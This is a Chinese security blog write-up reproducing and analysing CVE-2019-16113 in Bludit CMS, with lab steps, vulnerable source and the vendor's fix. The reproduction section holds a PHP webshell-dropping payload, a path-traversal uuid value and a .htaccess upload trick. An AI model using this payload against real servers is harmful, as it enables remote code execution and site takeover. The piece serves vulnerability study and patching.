关于Bludit远程任意代码执行漏洞的复现、利用及详细分析

阅读量1187851

|

发布时间 : 2020-01-14 15:30:51

 

前言

Bludit是一款多语言轻量级的网站CMS系统,它能够让你简单快速的建立一个博客或者是网站。CVE-2019-16113曝出在Bludit<=3.9.2的版本中,攻击者可以通过定制uuid值将文件上传到指定的路径,然后通过bl-kernel/ajax/upload-images.php远程执行任意代码。本文将对该漏洞进行详细的分析。

 

实验环境

1.渗透主机:kali-linux-2018.3-vm-i386
2.目标主机:Debian9.6 x64
3.软件版本:Bludit 3.9.2

 

漏洞复现

1.在Bludit中利用管理员用户admin创建一个角色为作者的用户test,密码为test123。

2.利用test/test123登录Bludit,打开“撰写新文章”栏目,点击“图片”按钮,进行图片的上传:

2.1尝试上传一个常规图片文件,图片上传成功,如下图所示:

2.2尝试上传一个任意的php文件,上传未成功,应当是系统对用户上传的文件进行了筛查和过滤,如下图所示:

3.通过Burpsuite截取上传图片的http数据包,在Repeater模块中将文件名修改为”test.jpg”,内容修改为

<?php $test='<?php $a=$_POST["cmd"];assert($a); ?>';file_put_contents("shell.php", $test);?>

uuid值修改为../../tmp,然后发送数据包给Bludit,如下图所示:

4.再次在Repeater模块中作如下修改,上传.htaccess到指定路径,若不上传.htaccess文件,那么将无法执行恶意图片生成后门php文件,如下图所示:

5.在浏览器中输入如下url,访问之前上传的恶意图片,以使php代码执行并且生成后门文件shell.php:

http://192.168.110.133/bludit/bl-content/tmp/test.jpg

6.使用中国菜刀连接后门文件shell.php,成功连接到Bludit服务器,可以利用菜刀对服务器文件进行新建、修改、上传以及删除等等操作,如下图所示:

7.通过进一步尝试,发现可以在Repeater模块中直接上传php后门文件,并不需要刻意使用图片文件的后缀名,这里虽然服务器返回错误信息,但是后门文件确实是上传成功的,可以用菜刀去连接(菜刀的连接过程这里不再赘述),如下图所示:

 

漏洞分析

1.问题源码具体如下:

<?php defined('BLUDIT') or die('Bludit CMS.');
header('Content-Type: application/json');

$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];

if ($uuid && IMAGE_RESTRICT) {
    $imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
    $thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
    if (!Filesystem::directoryExists($thumbnailDirectory)) {
        Filesystem::mkdir($thumbnailDirectory, true);
    }
} else {
    $imageDirectory = PATH_UPLOADS;
    $thumbnailDirectory = PATH_UPLOADS_THUMBNAILS;
}

$images = array();
foreach ($_FILES['images']['name'] as $uuid=>$filename) {
    if ($_FILES['images']['error'][$uuid] != 0) {
        $message = $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize');
        Log::set($message, LOG_TYPE_ERROR);
        ajaxResponse(1, $message);
    }

    $filename = urldecode($filename);

    Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);

    $image = transformImage(PATH_TMP.$filename, $imageDirectory, $thumbnailDirectory);
    if ($image) {
        $filename = Filesystem::filename($image);
        array_push($images, $filename);
    } else {
        $message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']);
        Log::set($message, LOG_TYPE_ERROR);
        ajaxResponse(1, $message);
    }
}

ajaxResponse(0, 'Images uploaded.', array(
    'images'=>$images
));
?>

2.其中下面这段使用POST方式获取uuid参数,然后没有对uuid做任何的校验和过滤,直接拼接到imageDirectory中,这就导致了path traversal的产生,攻击者可以通过定制uuid参数值,将定制文件上传到任意目录。

$uuid = empty($_POST['uuid']) ? false : $_POST['uuid'];

if ($uuid && IMAGE_RESTRICT) {
    $imageDirectory = PATH_UPLOADS_PAGES.$uuid.DS;
    $thumbnailDirectory = $imageDirectory.'thumbnails'.DS;
    if (!Filesystem::directoryExists($thumbnailDirectory)) {
        Filesystem::mkdir($thumbnailDirectory, true);
    }
} else {
    $imageDirectory = PATH_UPLOADS;
    $thumbnailDirectory = PATH_UPLOADS_THUMBNAILS;
}

3.$image = transformImage(PATH_TMP.$filename, $imageDirectory, $thumbnailDirectory);

这条语句使用函数transformImage来校验文件扩展名和生成文件缩略图。函数transformImage代码具体如下:

function transformImage($file, $imageDir, $thumbnailDir=false) {
    global $site;

    $fileExtension = Filesystem::extension($file);
    $fileExtension = Text::lowercase($fileExtension);
    if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION']) ) {
        return false;
    }

    $filename = Filesystem::filename($file);
    $nextFilename = Filesystem::nextFilename($imageDir, $filename);

    $image = $imageDir.$nextFilename;
    Filesystem::mv($file, $image);
    chmod($image, 0644);

    if (!empty($thumbnailDir)) {
        if ($fileExtension == 'svg') {
            symlink($image, $thumbnailDir.$nextFilename);
        } else {
            $Image = new Image();
            $Image->setImage($image, $site->thumbnailWidth(), $site->thumbnailHeight(), 'crop');
            $Image->saveImage($thumbnailDir.$nextFilename, $site->thumbnailQuality(), true);
        }
    }

    return $image;
}
if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION']) ) {
  return false;
 }

其中这条if条件判断语句用于检测用户上传文件的后缀名是否在允许的范围内,若不在,则返回false,那么transformImage函数也执行结束,返回false。

ALLOWED_IMG_EXTENSION是一个全局参数,内容如下:

$GLOBALS['ALLOWED_IMG_EXTENSION'] = array('gif', 'png', 'jpg', 'jpeg', 'svg');

4.在漏洞复现环节,存在一个问题,为什么在页面上直接上传php文件,服务器返回信息“文件类型不支持”且文件上传也不成功,而通过Burpsuite代理上传php文件,虽然显示文件类型不支持,但是却上传成功呢?下面来具体分析:

通过在浏览器中分析页面源码,发现jQuery中存在一个函数uploadImages,该函数通过如下for循环进行图片后缀名的合规性校验,如果用户上传的文件不符合要求,那么函数直接返回false,恶意文件也就无法通过页面上传。

 for (var i=0; i < images.length; i++) {
        const validImageTypes = ['image/gif', 'image/jpeg', 'image/png', 'image/svg+xml'];
        if (!validImageTypes.includes(images[i].type)) {
            showMediaAlert("<?php echo $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']) ?>");
            return false;
        }

        if (images[i].size > UPLOAD_MAX_FILESIZE) {
            showMediaAlert("<?php echo $L->g('Maximum load file size allowed:').' '.ini_get('upload_max_filesize') ?>");
            return false;
        }
    };

为什么通过Burpsuite代理上传php文件就可以?不是也通过transformImage函数做过后缀名检测吗?其实transformImage函数并未起到作用。首先通过Burpsuite可以绕过页面的jQuery检测代码,这样恶意文件就顺利进入了后端。然后在调用transformImage函数之前有这样一条语句

Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);

它把用户上传的文件移动到了Bludit的tmp文件夹中(具体路径是/bludit/bl-content/tmp)。此时恶意文件已经存在于tmp文件夹中,接着再调用transformImage函数,然而transformImage虽然对文件后缀名做了检测,但是没有删除不合规文件,因此通过Burpsuite代理上传php文件可以成功。

 

漏洞修复

1.针对upload-images.php,主要改动有以下四点:

1.1在设置imageDirectory之前,检测uuid中是否存在DS(即目录分隔符):

if ($uuid) {
    if (Text::stringContains($uuid, DS, false)) {
        $message = 'Path traversal detected.';
        Log::set($message, LOG_TYPE_ERROR);
        ajaxResponse(1, $message);
    }
}

1.2增加代码检测filename中是否存在DS(即目录分隔符):

    if (Text::stringContains($filename, DS, false)) {
        $message = 'Path traversal detected.';
        Log::set($message, LOG_TYPE_ERROR);
        ajaxResponse(1, $message);
    }

1.3在mv操作之前,检测文件扩展名的合规性:

    $fileExtension = Filesystem::extension($filename);
    $fileExtension = Text::lowercase($fileExtension);
    if (!in_array($fileExtension, $GLOBALS['ALLOWED_IMG_EXTENSION']) ) {
        $message = $L->g('File type is not supported. Allowed types:').' '.implode(', ',$GLOBALS['ALLOWED_IMG_EXTENSION']);
        Log::set($message, LOG_TYPE_ERROR);
        ajaxResponse(1, $message);
    }

1.4在调用transformImage函数之后,删除tmp文件夹中的用户上传的文件:

Filesystem::rmfile(PATH_TMP.$filename);

 

结束语

所有的用户输入都是不可信的,就算在前端对用户输入做了过滤,也可能被攻击者利用多种方式绕过,因此后端的筛查与过滤就极其重要。关于Bludit中的文件上传导致任意代码执行漏洞的分析就到这里。

本文由neroqi原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/197105

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
neroqi
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66